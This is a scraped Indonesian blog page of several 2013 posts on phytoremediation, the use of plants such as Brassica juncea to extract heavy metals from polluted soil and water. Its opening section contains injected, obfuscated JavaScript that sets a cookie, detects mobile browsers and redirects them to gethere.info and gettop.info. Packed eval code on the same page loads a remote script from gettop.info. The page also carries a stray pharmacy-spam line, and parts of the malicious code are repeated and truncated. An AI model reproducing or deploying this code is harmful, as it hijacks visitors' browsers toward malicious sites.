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TEORI FITOREMEDIASI2


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STELA TEORI FITOREMEDIASI2var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?53vSkc&’); setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&’”, delay);var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 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TEORI FITOREMEDIASI


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_0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 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PENCEMARAN TANAH — FITOREMEDIASI

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  FITOREMEDIASI

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Fitoremediasi adalah penggunaan tanaman untuk menghilangkan kontaminan dari lingkungan. Dengan memanfaatkan kemampuan alami tanaman kita dapat memulihkan tanah YANG TERCEMAR , air tanah, air permukaan, dan sedimen yang terkonytaminasi.

Fitoremediasi adalah alternatif dengan biaya rendah untuk membersihkan tanah yang tersemar.  Alih-alih menghapus ton tanah beracun dan mengisi situs dengan tanah baru yang bersih, tanaman menyerap kontaminan dari tanah dan menyimpannya di dalam jaringan tubuhnya.

Dalam beberapa kasus, tanaman sendiri harus dibuang sebagai limbah berbahaya, tanaman lainnya mendegradasi racun dan menghilangkannya sama sekali.

 

A Field Guide to Phytoremediation

 

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PENCEMARAN TANAH — FITOREMEDIASI

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  FITOREMEDIASI

 

Mekanisme penyerapan logam berat oleh tanaman melalui teknologi fitoremediasi.


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Selengkapnya lihat:
http://www.hindawi.com/journals/ijce/2011/939161/fig2/

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DIT PENCEMARAN TANAH — FITOREMEDIASI LOGAM BERAT

December 22nd, 2013 No comments


Buy cheap Viagra online

PENCEMARAN TANAH  — FITOREMEDIASI LOGAM BERAT

 

Pencemaran lingkungan mempengaruhi kualitas pedosphere , hidrosfer, atmosfer , litosfer dan biosfer . Upaya-upaya besar telah dilakukan dalam dua dekade terakhir ini untuk mengurangi sumber polusi dan memperbaiki sumber daya tanah dan air yang tercemar .

Fitoremediasi , menjadi lebih efek hemat biaya dan efek-samping yang lebih sedikit dibandingkan dengan pendekatan fisik dan kimia , metode ini telah meningkat popularitasnya di kalangan akademisi dan praktisi . Lebih dari 400 spesies tanaman telah diidentifikasi memiliki potensi untuk remediasi tanah dan air . Di antaranya adalah  Thlaspi , Brassica ,  dan spesies Arabidopsis .
Hal ini juga diharapkan bahwa kemajuan terbaru di bidang bioteknologi akan memainkan peran penting dalam pengembangan tanaman hyperaccumulators baru dengan mentransfer gen hyperaccumulating logam dari spesies liar yang produksi biomasanya ke dalam spesies budidaya yang produksi biomasanya sangat tinggi.

Tanah dan air merupakan sumberdaya alam yang berharga yang menentukan keberlanjutan pertanian dan peradaban umat manusia . Sayangnya , mereka telah mengalami eksploitasi maksimum dan rusak parah atau tercemar akibat aktivitas antropogenik .
Polusi itu meliputi sumber titik , seperti emisi limbah dan emisi partikulat dari industri , emisi kendaraan bermotor dan logam dari peleburan dan pertambangan , dan sumber nonpoint seperti garam larut ( alami dan buatan ) , penggunaan insektisida / pestisida , pembuangan limbah industri dan limbah pertanian , dan penggunaan berlebihan pupuk . Setiap sumber kontaminasi memiliki efek merusak sendiri untuk tanaman, hewan dan akhirnya kesehatan manusia , tetapi mereka yang menambahkan logam berat ke tanah dan air menjadi perhatian serius karena kegigihan mereka dalam lingkungan dan carcinogenicity kepada manusia . Mereka tidak dapat dihancurkan secara biologis tetapi hanya berubah dari satu keadaan oksidasi menjadi bentuk kompleks organik yang lain . Oleh karena itu , pencemaran logam berat merupakan ancaman sangat besar bagi lingkungan dan kesehatan manusia .

Dalam rangka mempertahankan kualitas yang baik dari tanah dan air dan menjaga mereka bebas dari kontaminasi , upaya yang terus menerus telah dilakukan untuk mengembangkan teknologi yang mudah digunakan , berkelanjutan dan layak secara ekonomis . Pendekatan fisikokimia telah banyak digunakan untuk menanggulangi tanah tercemar dan air , terutama pada skala kecil . Namun, mereka mengalami lebih banyak kesulitan untuk skala besar remediasi karena biaya tinggi dan efek samping . Penggunaan spesies tanaman untuk membersihkan tanah tercemar dan perairan disebut sebagai fitoremediasi telah memperoleh perhatian meningkat sejak dekade terakhir , sebagai teknologi baru yang lebih murah . Banyak penelitian telah dilakukan dalam bidang ini dalam dua dekade terakhir . Banyak spesies tumbuhan telah diidentifikasi dan diuji untuk sifat mereka dalam penyerapan dan akumulasi logam berat yang berbeda .

Logam berat yang telah diidentifikasi dalam lingkungan yang tercemar termasuk As, Cu, Cd, Pb, Cr, Ni, Hg dan Zn. Kehadiran logam apapun dapat bervariasi dari situs ke situs, tergantung pada sumber pencemar individu. Serapan berlebihan logam oleh tanaman dapat menghasilkan toksisitas dalam gizi manusia, dan menyebabkan penyakit akut dan kronis. Misalnya, Cd dan Zn dapat menyebabkan gastrointestinal akut dan kerusakan pernapasan dan jantung akut, otak dan kerusakan ginjal. Konsentrasi tinggi logam berat dalam tanah negatif dapat mempengaruhi pertumbuhan tanaman, seperti logam ini mengganggu fungsi metabolisme pada tanaman, termasuk fisiologis dan proses biokimia, penghambatan fotosintesis, dan respirasi dan degenerasi organel sel utama, bahkan menyebabkan kematian tanaman. Kontaminasi tanah dengan logam berat juga dapat menyebabkan perubahan dalam komposisi komunitas mikroba tanah, dapat mempengaruhi karakteristik tanah.

Pembersihan tanah yang terkontaminasi dari logam berat adalah tugas yang paling sulit, terutama dalam skala besar . Tanah terdiri dari konstituen padat organik dan anorganik , air dan campuran gas yang berbeda hadir dalam berbagai proporsi . Komponen mineral bervariasi sesuai dengan bahan induk tanah yang telah dikembangkan di bawah seperangkat tertentu kondisi iklim . Oleh karena itu , tanah sangat bervariasi dalam fisik, sifat kimia dan biologi . Pergerakan air tanah dikendalikan oleh sifat fisik , seperti struktur tanah dan tekstur . Kelembaban tanah memiliki pengaruh besar dalam mengontrol gerakan zat terlarut , kelarutan garam , reaksi kimia dan aktivitas mikrobiologi dan akhirnya bioavailabilitas ion logam . Sebuah program fitoremediasi ternyata sukses , namun harus memperhitungkan variasi sifat tanah pada lokasi-lokasi yang tercemar.

Pendekatan yang berbeda telah digunakan atau dikembangkan untuk mengurangi / menyerap kembali logam berat yang mencemari tanah dan air , termasuk lokasi pembuangan / peredaman limbah.  Metode ini secara luas dapat diklasifikasikan menjadi Metode fisikokimia dan biologi .

Metode fisikokimia meliputi penggalian dan penguburan tanah di sebuah situs pembuangan limbah , fiksasi / inaktivasi ( pengolahan kimia tanah untuk melumpuhkan logam ) , pencucian dengan menggunakan larutan asam atau larutan pencuci eksklusif untuk desorbsi  logam dari tanah diikuti oleh pengembalian tanah yang telah bersih ke situs , curah hujan atau flokulasi diikuti oleh sedimentasi , pertukaran ion , reverse osmosis dan mikrofiltrasi . Pendekatan fisikokimia umumnya mahal dan memiliki efek samping .

Pendekatan biologis remediasi meliputi:

  1. Penggunaan mikroorganisme untuk detoksifikasi logam dengan transformasi valensi , ekstraseluler presipitasi kimia , atau penguapan [ beberapa mikroorganisme enzimatis dapat mengurangi berbagai logam dalam proses metabolisme yang tidak berhubungan dengan asimilasi logam] ,
  2. Penggunaan khusus jenis tanaman untuk dekontaminasi tanah atau air dengan menonaktifkan logam dalam rizosfir atau translokasinya ke bagian tanaman di atas tanah.

Pendekatan ini disebut fitoremediasi , yang dianggap sebagai teknologi baru dan sangat menjanjikan untuk reklamasi situs tercemar dan lebih murah daripada pendekatan fisikokimia .

Fitoremediasi , juga disebut sebagai bioremediasi botani , melibatkan penggunaan tanaman hijau untuk dekontaminasi tanah , air dan udara . Ini adalah sebuah teknologi baru yang dapat diterapkan untuk kedua polutan organik dan anorganik hadir dalam tanah, air atau udara . Namun, kemampuan untuk mengakumulasi logam berat bervariasi antara spesies dan di antara kultivar dalam spesies , sebagai mekanisme yang berbeda dari penyerapan ion operasi pada setiap spesies , berdasarkan karakteristik genetik , morfologi , fisiologi dan anatomi mereka.

Ada berbagai kategori fitoremediasi , termasuk fitosekatraksi , fitofiltrasi , fitostabilisasi , phytovolatization dan fitodegradasi, tergantung pada mekanisme perbaikan (penyembuhan).

Fito – ekstraksi melibatkan penggunaan tanaman untuk menghilangkan kontaminan dari tanah . Ion logam yang terakumulasi dalam bagian tanaman di atas tanah dapat dibuang atau dibakar .

Fito – filtrasi melibatkan akar tanaman untuk menyerap logam dari limbah cair . Dalam phytostabilization , akar tanaman menyerap polutan dari tanah dan menyimpannya dalam rizosfer , membuat logam tidak berbahaya dengan cara mencegahnya dari pencucian .

Fito – volatilisasi melibatkan penggunaan tanaman untuk menguapkan polutan dari dedaunannya, seperti Se dan Hg .

Fito – degradasi berarti penggunaan tanaman dan mikroorganisme yang terkait untuk menurunkan polutan organik . Beberapa tanaman mungkin memiliki satu fungsi sedangkan yang lain dapat melibatkan dua atau lebih fungsi fitoremediasi .

 

REFERENSI:

Mohammad Iqbal Lone, Zhen-li He, Peter J. Stoffella, and Xiao-e Yang. 2008. Phytoremediation of heavy metal polluted soils and water: Progresses and perspectives. J. Zhejiang Univ Sci B. 2008 March; 9(3): 210–220.

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DIT PENCEMARAN TANAH — FITOREMEDIASI

December 22nd, 2013 No comments

PENCEMARAN TANAH  –  FITOREMEDIASI

Ide dasar bahwa tanaman dapat digunakan untuk remediasi tanah dan lingkungan sudah lama diketahui, namun serangkaian penemuan ilmiah secara interdisipliner telah memungkinkan pengembangan ide ini menjadi teknologi lingkungan yang menjanjikan, disebut phytoremediasi. Fitoremediasi didefinisikan sebagai penggunaan tanaman hijau untuk menghilangkan polutan dari tanah dan lingkungan atau membuat polutan tidak berbahaya. Fitoremediasi sedang berkembang sebagai solusi perbaikan kualitas lokasi yang terkontaminasi di penjuru dunia.
Tanah dan air yang terkontaminasi dengan logam menimbulkan masalah lingkungan dan kesehatan manusia dan masih membutuhkan solusi teknologi yang efektif dan terjangkau. Non-radioactive As, Cd, Cu, Hg, Pb dan Zn, dan Sr radioaktif, Cs dan U (disebut di sini sebagai logam beracun) adalah polutan logam yang paling penting dalam lingkungan. Bioremediasi mikroba telah cukup berhasil untuk degradasi kontaminan organik tertentu, tetapi tidak efektif untuk menangani kontaminasi logam beracun, khususnya kontaminasi dalam tanah. Meskipun molekul organik dapat terdegradasi, logam beracun hanya dapat direhabilitasi dengan pengambilannya dari tanah. Teknologi untuk membersihkan  tanah yang terkontaminasi logam racun adalah penggalian dan penguburan tanah di lokasi pembuangan limbah berbahaya .  Masalahnya semakin menjadi lebih akut, kalau daerah yang luas terkontaminasi dengan radionuklida, misalnya, daerah sekitar reaktor nuklir Chernobyl.  Fitoremediasi logam adalah teknologi hijau yang efektif biaya dengan menggunakan tanaman akumulator logam menyerap logam beracun, termasuk radionuklida, dari tanah dan air .
Fitoremediasi mengambil keuntungan dari fakta bahwa tanaman hidup dapat dianggap sebagai pompa berenergi matahari , yang dapat mengekstrak dan mengakumulasikan unsur-unsur tertentu dari lingkungan tumbuhnya. Fitoremediasi menjadi berkembang karena kerjasama interdisipliner para ahli biokimia tanaman, ahli biologi molekular, kimia tanah, agronomi, insinyur lingkungan, dan regulator negara. Logam yang ditargetkan untuk fitoremediasi termasuk Pb, Cd, Cr, As dan berbagai radionuklida. Jaringan tanaman yang dipanen, kaya akumulasi kontaminan, mudah dan aman diproses dengan pengeringan, pengabuan atau kompos. Volume limbah beracun yang dihasilkan sebagai hasilnya relatif masih sangat kecil dibandingkan dengan yang ada saat ini, teknologi remediasi lebih invasif, dan biaya yang diperlukan jauh lebih sedikit. Beberapa logam dapat direklamasi dari abu, yang selanjutnya mengurangi generasi limbah bahan berbahaya dan menghasilkan pendapatan daur ulang.
Beberapa subset spesifik dari fitoremediasi logam yang sedang berkembang: phytoextraction, di mana biomassa tanaman menyerap logam , mengangkut dan mengakumulasikan ke bagian tanaman di atas tanah, yang kemudian dipanen dengan metode pertanian. Phytofiltration, di mana akar tanaman (rhizofiltration) atau bibit (blastofiltration) tumbuh dalam media air beraerasi dan menyerap logam beracun dari limbah yang tercemar. Phytovolatilization, di mana tanaman mengekstrak logam yang mudah menguap (misalnya Hg dan Se) dari tanah dan menguapkannya dari dedaunannya. Phytostabilization, di mana tanaman menstabilkan polutan dalam tanah, sehingga membuatnya tidak berbahaya. Phytostabilization, biasanya berkaitan dengan upaya reklamasi tanah.
Fito-ekstraksi


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Fitoekstraksi logam berat dan radionuklida merupakan salah satu peluang ekonomi terbesar untuk fitoremediasi karena ukuran dan ruang lingkup dari masalah lingkungan yang terkait dengan tanah logam terkontaminasi, dan keunggulan kompetitif yang ditawarkan oleh teknologi remediasi nabati. Total biaya pembersihan dari semua situs (di USA) yang terkontaminasi dengan logam berat dan radionuklida menggunakan teknologi konvensional diperkirakan sebesar $ 300 miliar. Segmen terbesar adalah biaya bersih-bersih fasilitas federal yang terkontaminasi radionuklida sebagai warisan pengembangan senjata nuklir selama Perang Dingin.
Inspirasi untuk pengembangan fitoekstraksi berasal dari penemuan berbagai tanaman liar , seringkali bersifat  endemik alami tanah-tanah mineral , yang berkonsentrasi tinggi logam berat esensial dan nonesensial dalam daun-daunnya.  Tingkat akumulasi logam Ni , Zn dan Cu dalam tanaman  hyperaccumulators , sering mencapai 1-5 % dari berat keringnya.  Nilai-nilai ini jauh lebih besar dibandingkan dnegan konsentrasi logam ini dalam tanaman  non-akumulator yang tumbuh di dekatnya. Pencegahan herbivora dan penyakit dianggap fungsi utama dari fenomena unik ini .
Saran bahwa tanaman hiperakumulator dapat digunakan untuk remediasi logam pertama kali diterbitkan pada tahun 1980 , namun demikian  biomassa tanaman ini masih sangat rendah , kurangnya teknologi untuk budidaya skala besar dan kurangnya memahami faktor-faktor biologis dan lingkungan yang terlibat dalam hyperaccumulation logam telah membatasi perkembangan fito-ekstraksi untuk waktu yang lama . Dengan demikian , penekanan penelitian bergeser ke mengevaluasi kapasitas akumulasi logam pada tanaman yang banyak menghasilkan biomassa dan dapat dengan mudah dibudidayakan menggunakan praktek agronomi yang sudah mapan .
Penekanan khusus telah ditempatkan pada evaluasi kapasitas akumulasi logam  pada daun Brassica yang dibudidayakan ( mustard ) , karena hubungannya dengan jenis mustard liar yang mampu mengakumulasikan logam.
Sebagai hasil dari karya ini, varietas tertentu Brassica juncea ( sawi ) dipilih untuk kemampuan mereka ditingkatkan untuk mengakumulasi logam dari larutan hidroponik ke mereka atas tanah ( dipanen ) bagian. Tanaman ini terkonsentrasi logam berat beracun ( Pb , Cu dan Ni ) ke level hingga beberapa persen dari biomassa pucuk kering mereka . Jagung ( Zea mays ) dan , pada tingkat lebih rendah , ragweed ( Ambrosia artemisiifilia ) juga diidentifikasi sebagai akumulator baik Pb .
Sebuah rintangan utama untuk pengembangan teknologi phytoextraction adalah bahwa akumulasi logam menembak dalam tanaman budidaya hidroponik sangat melebihi akumulasi logam diukur dalam tanah untuk tumbuh tanaman . Fenomena ini dijelaskan oleh bioavailabilitas rendah dari logam berat dalam tanah . Misalnya, Pb , salah satu polutan lingkungan yang paling penting , sangat tidak larut dan tidak tersedia secara umum untuk penyerapan tanaman dalam kisaran normal pH tanah . Dengan demikian , vegetasi yang tumbuh di daerah yang terkontaminasi berat sering memiliki kurang dari 50mg / g Pb di tunas . Bahkan tanaman yang memiliki kapasitas genetik untuk mengumpulkan Pb ( misalnya B. juncea ) tidak akan mengandung banyak Pb dalam akar atau tunas jika dibudidayakan di tanah Pb – terkontaminasi . Solusi untuk masalah ketersediaan logam datang dengan penemuan bahwa agen chelating tanah – diterapkan tertentu sangat meningkatkan translokasi logam berat , termasuk Pb , dari tanah ke tunas . EDTA (asam ethylenediaminetetraacetic ) sangat efektif dalam memfasilitasi phytoextraction Cd , Cu , Ni , Pb dan Zn . Misalnya, penerapan 10 mmol / kg EDTA ke tanah yang mengandung 1200 mg kg – 1 Pb menghasilkan akumulasi Pb 1,6 % pada tunas B. juncea . EDTA adalah sangat efektif bila diterapkan pada tanaman yang sudah beberapa hari sebelum panen . EDTA bertindak oleh kompleks logam larut hadir dalam larutan tanah .
Sebagai aktivitas bebas logam menurun , pembubaran ion logam terikat mulai mengkompensasi pergeseran dalam keseimbangan. Proses berlanjut sampai pasokan logam EDTA – diekstrak habis . Menariknya , tanaman tampaknya mengambil dan mentranslokasi Pb sebagai kompleks EDTA , mengumpulkan sejumlah besar EDTA serta Pb di dedaunan mereka ( DE Salt , RD Smith , data tidak dipublikasikan ) .
Mekanisme biologis fito-ekstraksi
Strategi jangka panjang terbaik untuk meningkatkan fito-ekstraksi adalah untuk memahami dan mengeksploitasi proses biologis yang terlibat dalam proses penyerapan logam, transportasi dan akumulasinya dalam bagian tanaman di atas tanah. Dalam kombinasinya dengan upaya terus-menerus untuk menemukan jenis-jenis tanaman phytoextracting yang baru, pemahaman mekanisme biologis ini akan memungkinkan peningkatan efisiensi fitoekstraksi. Kemajuan terbaru dalam bioteknologi tanaman menyediakan sarana untuk dengan cepat memanfaatkan pemahaman mekanisme biologis fito-ekstraksi.  Sayangnya, kita masih tahu sedikit sekali tentang mekanisme biologis yang terlibat dalam fitoremediasi ini.
